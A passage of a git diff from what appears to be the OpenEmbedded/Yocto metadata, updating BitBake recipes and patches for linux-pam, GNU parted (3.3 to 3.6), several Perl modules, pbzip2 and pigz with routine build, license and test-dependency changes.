+ install -d ${D}${sysconfdir}/pam.d/
+ install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
+
+ # The lsb requires unix_chkpwd has setuid permission
+ chmod 4755 ${D}${sbindir}/unix_chkpwd
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
+ fi
+ if ${@bb.utils.contains('DISTRO_FEATURES','usrmerge','false','true',d)}; then
+ install -d ${D}/${libdir}/
+ mv ${D}/${base_libdir}/pkgconfig ${D}/${libdir}/
+ fi
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/tests
+ install -m 0755 ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests
+ install -m 0644 ${S}/tests/confdir ${D}${PTEST_PATH}/tests
+}
+
+pkg_postinst:${PN}() {
+ if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
+ /etc/init.d/populate-volatile.sh update
+ fi
+}
+
+inherit features_check
+ANY_OF_DISTRO_FEATURES = "pam systemd"
+
+BBCLASSEXTEND = "nativesdk native"
+
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-password"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-account"
+CONFFILES:${PN}-runtime += "${sysconfdir}/security/limits.conf"
+
+GITHUB_BASE_URI = "https://github.com/linux-pam/linux-pam/releases"
+
+CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch b/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
deleted file mode 100644
index 829c0c8b78..0000000000
--- a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From ddbefd80d74c3baaae328332458db447e1666240 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 27 Apr 2017 16:37:24 +0300
-Subject: [PATCH] Move python helper scripts (used only in tests) to Python 3
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- tests/gpt-header-move | 2 +-
- tests/msdos-overlap | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/tests/gpt-header-move b/tests/gpt-header-move
-index 3dda5cb..a2b9508 100755
---- a/tests/gpt-header-move
-+++ b/tests/gpt-header-move
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
-
- # open img file, subtract 33 from altlba address, and move the last 33 sectors
- # back by 33 sectors
-diff --git a/tests/msdos-overlap b/tests/msdos-overlap
-index d6ae8d6..2c6747b 100755
---- a/tests/msdos-overlap
-+++ b/tests/msdos-overlap
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
- """
- Write an overlapping partition to a msdos disk
-
diff --git a/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch b/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
new file mode 100644
index 0000000000..10354f1ed9
--- /dev/null
+++ b/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
@@ -0,0 +1,34 @@
+From 1fc88332f7e906294fd889287b9e84cefc7f1586 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 12 Jun 2023 10:40:07 -0700
+Subject: [PATCH] fs: Add libuuid to linker flags for libparted-fs-resize
+ library
+
+This library uses uuid_generate function which comes from libuuid and
+hence it should be mentioned on linker cmdline
+
+fixes
+| aarch64-yoe-linux-ld.lld: error: undefined reference due to --no-allow-shlib-undefined: uuid_generate
+| >>> referenced by /mnt/b/yoe/master/build/tmp/work/cortexa72-cortexa53-crypto-yoe-linux/fatresize/1.1.0-r0/recipe-sysroot/usr/lib/libparted-fs-resize.so
+
+Upstream-Status: Submitted [https://alioth-lists.debian.net/pipermail/parted-devel/2023-June/005873.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libparted/fs/Makefile.am | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
+index 2f345f3..a8970eb 100644
+--- a/libparted/fs/Makefile.am
++++ b/libparted/fs/Makefile.am
+@@ -75,6 +75,7 @@ libparted_fs_resize_la_LDFLAGS = \
+ EXTRA_DIST += fsresize.sym
+ libparted_fs_resize_la_DEPENDENCIES = $(sym_file)
+
++libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
+ libparted_fs_resize_la_SOURCES = \
+ r/filesys.c \
+ r/fat/bootsector.c \
+--
+2.41.0
+
diff --git a/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch b/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch
deleted file mode 100644
index 4dc2ab259d..0000000000
--- a/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From d60a8a86f6593738b5324ccd8fe3e6d84a1fe7bc Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 11 Dec 2019 14:18:36 +0100
-Subject: [PATCH] libparted/fs: add $sourcedir/lib to include paths
-
-Otherwise, getopt-pfx-core.h won't be found.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- libparted/fs/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
-index 286bff6..65f45d3 100644
---- a/libparted/fs/Makefile.am
-+++ b/libparted/fs/Makefile.am
-@@ -3,7 +3,7 @@
- #
- # This file may be modified and/or distributed without restriction.
-
--partedincludedir = -I$(top_builddir)/include -I$(top_srcdir)/include
-+partedincludedir = -I$(top_builddir)/include -I$(top_srcdir)/include -I$(top_srcdir)/lib
-
- AM_CFLAGS = $(WARN_CFLAGS)
-
diff --git a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch b/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
deleted file mode 100644
index bd2b5c55b1..0000000000
--- a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 5c99d7e4c2b5e7a957dc922aff03debfebbd6154 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
-Date: Fri, 3 Mar 2017 21:49:15 +0100
-Subject: [PATCH] libparted_fs_resize: link against libuuid explicitly to
- unbreak gold linking on test
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-| ../libparted/fs/.libs/libparted-fs-resize.so: error: undefined reference to 'uuid_generate'
-
-Upstream-Status: Pending
-
-Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
----
- libparted/fs/Makefile.am | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
-index d3cc8bc..c301b0b 100644
---- a/libparted/fs/Makefile.am
-+++ b/libparted/fs/Makefile.am
-@@ -113,6 +113,8 @@ libparted_fs_resize_la_SOURCES = \
- r/hfs/reloc_plus.c \
- r/hfs/reloc_plus.h
-
-+libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
-+
- AM_CPPFLAGS = \
- -I$(top_srcdir)/libparted/labels \
- $(partedincludedir) \
---
-2.9.3
-
diff --git a/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch b/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch
deleted file mode 100644
index 9524adf7b8..0000000000
--- a/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-From 9f844484cedb39e301b016e9da7852c1a0fb6eea Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 11 Dec 2019 16:27:48 +0100
-Subject: [PATCH] tests: use skip_ rather than skip_test_ (which is undefined)
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/t6001-psep.sh | 2 +-
- tests/t6004-dm-many-partitions.sh | 2 +-
- tests/t6005-dm-uuid.sh | 2 +-
- tests/t6006-dm-512b-sectors.sh | 2 +-
- 4 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/tests/t6001-psep.sh b/tests/t6001-psep.sh
-index e350bd2..67014a0 100644
---- a/tests/t6001-psep.sh
-+++ b/tests/t6001-psep.sh
-@@ -21,7 +21,7 @@
- require_root_
- require_udevadm_settle_
-
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- # Device maps names - should be random to not conflict with existing ones on
- # the system
-diff --git a/tests/t6004-dm-many-partitions.sh b/tests/t6004-dm-many-partitions.sh
-index b4be975..7214f60 100755
---- a/tests/t6004-dm-many-partitions.sh
-+++ b/tests/t6004-dm-many-partitions.sh
-@@ -21,7 +21,7 @@
-
- require_root_
- require_udevadm_settle_
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- ss=$sector_size_
- ns=300
-diff --git a/tests/t6005-dm-uuid.sh b/tests/t6005-dm-uuid.sh
-index 4266747..4790a8b 100755
---- a/tests/t6005-dm-uuid.sh
-+++ b/tests/t6005-dm-uuid.sh
-@@ -21,7 +21,7 @@
-
- require_root_
- require_udevadm_settle_
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- ss=$sector_size_
- ns=300
-diff --git a/tests/t6006-dm-512b-sectors.sh b/tests/t6006-dm-512b-sectors.sh
-index bf32135..b679adb 100644
---- a/tests/t6006-dm-512b-sectors.sh
-+++ b/tests/t6006-dm-512b-sectors.sh
-@@ -25,7 +25,7 @@ require_scsi_debug_module_
- grep '^#define USE_BLKID 1' "$CONFIG_HEADER" > /dev/null ||
- skip_ 'this system lacks a new-enough libblkid'
-
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- # Device maps names - should be random to not conflict with existing ones on
- # the system
diff --git a/meta/recipes-extended/parted/files/autoconf-2.73.patch b/meta/recipes-extended/parted/files/autoconf-2.73.patch
new file mode 100644
index 0000000000..63dea88bfc
--- /dev/null
+++ b/meta/recipes-extended/parted/files/autoconf-2.73.patch
@@ -0,0 +1,22 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next parted upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+--- a/m4/largefile.m4
++++ b/m4/largefile.m4
+@@ -27,7 +27,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # Work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-extended/parted/files/no_check.patch b/meta/recipes-extended/parted/files/no_check.patch
deleted file mode 100644
index e6a26d11a5..0000000000
--- a/meta/recipes-extended/parted/files/no_check.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-If check is detected, it makes the builds non-determinstic so just force
-it to be disabled.
-
-RP - 4/11/08
-
-Index: parted-3.2/configure.ac
-===================================================================
---- parted-3.2.orig/configure.ac
-+++ parted-3.2/configure.ac
-@@ -555,7 +555,7 @@ AC_CHECK_HEADER([execinfo.h], [
- AM_CONDITIONAL([COMPILE_FOR_S390], [test "$host_cpu" = s390 || test "$host_cpu" = s390x])
-
- dnl check for "check", unit testing library/header
--PKG_CHECK_MODULES([CHECK], [check >= 0.9.3], have_check=yes, have_check=no)
-+have_check=no
- if test "$have_check" != "yes"; then
- AC_MSG_RESULT([Unable to locate check version 0.9.3 or higher: not building])
- fi
diff --git a/meta/recipes-extended/parted/files/run-ptest b/meta/recipes-extended/parted/files/run-ptest
index f39c478ce6..096078967f 100644
--- a/meta/recipes-extended/parted/files/run-ptest
+++ b/meta/recipes-extended/parted/files/run-ptest
@@ -1,5 +1,7 @@
#!/bin/sh
-echo /dev/sda1 >> /etc/udev/mount.blacklist.d/parted-tmp
+mkdir -p /etc/udev/mount.ignorelist.d
+echo /dev/sda1 >> /etc/udev/mount.ignorelist.d/parted-tmp
+rm -f tests/*.log
make -C tests test-suite.log
-rm /etc/udev/mount.blacklist.d/parted-tmp
+rm /etc/udev/mount.ignorelist.d/parted-tmp
diff --git a/meta/recipes-extended/parted/parted_3.3.bb b/meta/recipes-extended/parted/parted_3.3.bb
deleted file mode 100644
index aa4d8042cf..0000000000
--- a/meta/recipes-extended/parted/parted_3.3.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "Disk partition editing/resizing utility"
-HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
-SECTION = "console/tools"
-DEPENDS = "ncurses readline util-linux virtual/libiconv"
-
-SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
- file://no_check.patch \
- file://fix-doc-mandir.patch \
- file://0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch \
- file://0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch \
- file://run-ptest \
- file://0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch \
- file://0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch \
- "
-
-SRC_URI[md5sum] = "090655d05f3c471aa8e15a27536889ec"
-SRC_URI[sha256sum] = "57e2b4bd87018625c515421d4524f6e3b55175b472302056391c5f7eccb83d44"
-
-EXTRA_OECONF = "--disable-device-mapper"
-
-inherit autotools pkgconfig gettext texinfo ptest
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_compile_ptest() {
- oe_runmake -C tests print-align print-max dup-clobber duplicate fs-resize print-flags
-}
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- mkdir $t/build-aux
- cp ${S}/build-aux/test-driver $t/build-aux/
- cp -r ${S}/tests $t
- cp ${B}/tests/Makefile $t/tests/
- sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
- sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile
- sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile
- sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" $t/tests/Makefile
- sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile
- for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \
- do cp ${B}/tests/.libs/$i $t/tests/; \
- done
- sed -e 's| ../parted||' -i $t/tests/*.sh
-}
-
-RDEPENDS_${PN}-ptest = "bash coreutils perl util-linux-losetup python3 make gawk e2fsprogs-mke2fs"
-
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
- glibc-utils \
- locale-base-en-us \
- "
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "partprobe"
-ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/parted/parted_3.6.bb b/meta/recipes-extended/parted/parted_3.6.bb
new file mode 100644
index 0000000000..a537ef74db
--- /dev/null
+++ b/meta/recipes-extended/parted/parted_3.6.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Disk partition editing/resizing utility"
+HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
+DESCRIPTION = "GNU Parted manipulates partition tables. This is useful for creating space for new operating systems, reorganizing disk usage, copying data on hard disks and disk imaging."
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
+SECTION = "console/tools"
+DEPENDS = "ncurses util-linux virtual/libiconv"
+
+SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
+ file://fix-doc-mandir.patch \
+ file://0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch \
+ file://autoconf-2.73.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "3b43dbe33cca0f9a18601ebab56b7852b128ec1a3df3a9b30ccde5e73359e612"
+
+inherit autotools pkgconfig gettext texinfo ptest
+
+PACKAGECONFIG ?= "readline"
+PACKAGECONFIG[device-mapper] = "--enable-device-mapper,--disable-device-mapper,libdevmapper lvm2"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_compile_ptest() {
+ oe_runmake -C tests print-align print-max dup-clobber duplicate fs-resize print-flags
+}
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ mkdir $t/build-aux
+ cp ${S}/build-aux/test-driver $t/build-aux/
+ cp -r ${S}/tests $t
+ cp ${B}/tests/Makefile $t/tests/
+ mkdir $t/lib
+ cp ${B}/lib/config.h $t/lib
+ sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
+ sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile
+ sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile
+ sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = "${PTEST_PATH}"|g" $t/tests/Makefile
+ sed -i "s|^abs_top_builddir =.*|abs_top_builddir = "${PTEST_PATH}"|g" $t/tests/Makefile
+ sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile
+ sed -i "/^BUILDINFO.*$/d" $t/tests/Makefile
+ for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \
+ do cp ${B}/tests/.libs/$i $t/tests/; \
+ done
+ sed -e 's| ../parted||' -i $t/tests/*.sh
+}
+
+RDEPENDS:${PN}-ptest = "bash coreutils perl util-linux-losetup util-linux-mkswap python3 make gawk e2fsprogs-mke2fs e2fsprogs-tune2fs python3-core dosfstools"
+RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-loop kernel-module-vfat"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ glibc-utils \
+ locale-base-en-us \
+ "
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "partprobe"
+ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
index d24035b677..3fa89dec9a 100644
--- a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
+++ b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
@@ -3,13 +3,13 @@ DESCRIPTION = "PBZIP2 is a parallel implementation of the bzip2 block-sorting \
file compressor that uses pthreads and achieves near-linear speedup on SMP \
machines. The output of this version is fully compatible with bzip2 v1.0.2 or \
newer (ie: anything compressed with pbzip2 can be decompressed with bzip2)."
-HOMEPAGE = "http://compression.ca/pbzip2/"
+HOMEPAGE = "https://launchpad.net/pbzip2/"
SECTION = "console/utils"
LICENSE = "bzip2-1.0.6"
LIC_FILES_CHKSUM = "file://COPYING;md5=398b8832c6f840cfebd20ab2be6a3743"
DEPENDS = "bzip2"
-DEPENDS_append_class-native = " bzip2-replacement-native"
+DEPENDS:append:class-native = " bzip2-replacement-native"
SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz \
file://0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch \
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
deleted file mode 100644
index 9f992d3e83..0000000000
--- a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
-
-SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/Convert-ASN1-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "68723e96be0b258a9e20480276e8a62c"
-SRC_URI[sha256sum] = "74a4a78ae0c5e973100ac0a8f203a110f76fb047b79dae4fc1fd7d6814d3d58a"
-
-S = "${WORKDIR}/Convert-ASN1-${PV}"
-
-inherit cpan ptest-perl
-
-EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
-
-RDEPENDS_${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 perl-module-socket perl-module-time-local perl-module-posix"
-RDEPENDS_${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
new file mode 100644
index 0000000000..6e9f881773
--- /dev/null
+++ b/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
+SECTION = "libs"
+HOMEPAGE = "http://search.cpan.org/dist/Convert-ASN1/"
+DESCRIPTION = "Convert::ASN1 is a perl library for encoding/decoding data using ASN.1 definitions."
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
+
+SRC_URI = "https://cpan.metacpan.org/authors/id/T/TI/TIMLEGGE/Convert-ASN1-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "a628d7c9d390568fb76359975fa03f626ce57f10dc17980e8e3587d7713e4ee7"
+
+S = "${WORKDIR}/Convert-ASN1-${PV}"
+
+inherit cpan ptest-perl
+
+EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
+
+RDEPENDS:${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 \
+ perl-module-socket perl-module-time-local perl-module-posix perl-module-scalar-util perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
index 7219c7d11e..3e0d216a03 100644
--- a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
+++ b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
@@ -1,8 +1,9 @@
SUMMARY = "Perl modules useful for manipulating date and time information"
HOMEPAGE = "https://metacpan.org/release/TimeDate"
+DESCRIPTION = "This is the perl5 TimeDate distribution. It requires perl version 5.003 or later."
SECTION = "libs"
# You can redistribute it and/or modify it under the same terms as Perl itself.
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://README;beginline=21;md5=576b7cb41e5e821501a01ed66f0f9d9e"
SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/TimeDate-${PV}.tar.gz"
@@ -13,9 +14,8 @@ inherit cpan ptest-perl
BBCLASSEXTEND = "native"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
-RDEPENDS_${PN}-ptest += "perl-module-test-more perl-module-utf8"
+RDEPENDS:${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
+RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-utf8"
SRC_URI[md5sum] = "b1d91153ac971347aee84292ed886c1c"
SRC_URI[sha256sum] = "75bd254871cb5853a6aa0403ac0be270cdd75c9d1b6639f18ecba63c15298e86"
diff --git a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
index 57c407e0f8..568268d886 100644
--- a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
+++ b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
@@ -5,7 +5,7 @@ DESCRIPTION = "XML::NamespaceSupport offers a simple way to process namespace-ba
basic checks. "
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
SRCNAME = "XML-NamespaceSupport"
@@ -21,7 +21,7 @@ S = "${WORKDIR}/${SRCNAME}-${PV}"
inherit cpan ptest-perl
-RDEPENDS_${PN}-ptest += "perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-test-more"
BBCLASSEXTEND="native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
index 2bff65a082..ebec5f0462 100644
--- a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
+++ b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
@@ -7,8 +7,8 @@ use this module as a base class so you don't have to, for example, \
implement the characters() callback."
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-RDEPENDS_${PN} += "perl-module-extutils-makemaker"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+RDEPENDS:${PN} += "perl-module-extutils-makemaker"
LIC_FILES_CHKSUM = "file://dist.ini;endline=5;md5=8f9c9a55340aefaee6e9704c88466446"
@@ -21,6 +21,6 @@ S = "${WORKDIR}/XML-SAX-Base-${PV}"
inherit cpan ptest-perl
-RDEPENDS_${PN}-ptest += "perl-module-test perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-test perl-module-test-more"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
index 02ee34ee17..b5b111d227 100644
--- a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
+++ b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
@@ -9,9 +9,9 @@ come from the Java JAXP specification (SAX part), only without the \
javaness."
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
DEPENDS += "libxml-namespacesupport-perl-native"
-RDEPENDS_${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
+RDEPENDS:${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
LIC_FILES_CHKSUM = "file://LICENSE;md5=65c4cd8f39c24c7135ed70dacbcb09e3"
@@ -29,9 +29,9 @@ do_install_ptest() {
chown -R root:root ${D}${PTEST_PATH}/testfiles
}
-RDEPENDS_${PN} += "perl-module-encode perl-module-perlio"
+RDEPENDS:${PN} += "perl-module-encode perl-module-perlio perl-module-encode-encoding"
-RDEPENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += " \
perl-module-base \
perl-module-encode-byte \
perl-module-encode-unicode \
diff --git a/meta/recipes-extended/pigz/pigz_2.4.bb b/meta/recipes-extended/pigz/pigz_2.4.bb
deleted file mode 100644
index 8c65ec34f0..0000000000
--- a/meta/recipes-extended/pigz/pigz_2.4.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "A parallel implementation of gzip"
-DESCRIPTION = "pigz, which stands for parallel implementation of gzip, is a \
-fully functional replacement for gzip that exploits multiple processors and \
-multiple cores to the hilt when compressing data. pigz was written by Mark \
-Adler, and uses the zlib and pthread libraries."
-HOMEPAGE = "http://zlib.net/pigz/"
-SECTION = "console/utils"
-LICENSE = "Zlib & Apache-2.0"
-LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
-
-SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
